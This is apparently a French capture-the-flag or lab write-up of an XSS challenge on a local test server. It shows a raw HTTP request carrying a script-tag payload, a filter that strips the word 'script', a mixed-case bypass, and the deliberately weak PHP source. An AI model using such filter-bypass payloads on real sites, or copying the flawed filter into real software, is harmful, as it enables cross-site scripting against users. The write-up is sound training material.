# xss4

## Exploitation

Le quatrième challenge demande explicitement de tenter une injection en utilisant la balise `<script></script>` :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FIVrOiJ05PpY8o0SqPzvS%2Fimage.png?alt=media\&token=5cd2cbf5-ab1a-4243-a1c6-bbbee365bb2a)

Une première protection que je rencontre est un contrôle du format de l'adresse email :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2F1T79zEhUD5lYJbLzklMv%2Fimage.png?alt=media\&token=ba116b36-3f0e-43e7-b9f5-228dc8006ff4)

Un contournement en utilisant directement Burp est possible, mais ma payload ne semble pas fonctionner car le mot clé `script` est filtré :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FxtTT8CXRVU3zRc2h6aDQ%2Fimage.png?alt=media\&token=9e1f84ad-81e7-43ad-a6bf-4ce296de26cf)

```http
POST /xss4/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss4/

user_email=<script>alert(1)</script>&submit=Envoyer
```

```html
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 2094
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="row">
  <p style="color:red;" class="well">
    <strong></strong><>alert(1)</> is not registered.
  </p>
</div>
```

Ici il doit s'agir d'une protection de type pattern matching, je tente de le contourner en modifiant ma façon d'écrire la balise Javascript, soit `<ScRiPT>alert(1)</sCRIpt>` :&#x20;

![](https://1502624390-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LXA-aPG-dBFXBTzP1DC%2Fuploads%2FVVXzzny7g298vChqaEUB%2Fimage.png?alt=media\&token=c19dd060-db6a-4db7-ad63-b851f49ce097)

## Analyse du code source

L'adresse email est récupéré dans la variable `$email`. Avant son affichage par la directive `echo`, un traitement est effectué par la méthode `xss_check_1()`. Cette méthode remplace le mot "script" par une chaîne de caractères vide mais sans faire attention à son format (minuscule, majuscule, répétition, etc) :

```php
<?php
  if (isset ($_POST['submit']) && isset ($_POST['user_email'])) {
    $email = $_POST['user_email'];
  }

  function xss_check_1($data) {
    // Converts only "<" and ">" to HTLM entities
    $input = str_replace("script", "", $data);
    $input = urldecode($input);
    return $input;
  }
?>

<div class="row">
  <p style="color:red;" class="well">
    <strong></strong><?php echo xss_check_1($email); ?> is not registered.
  </p>
</div>
```
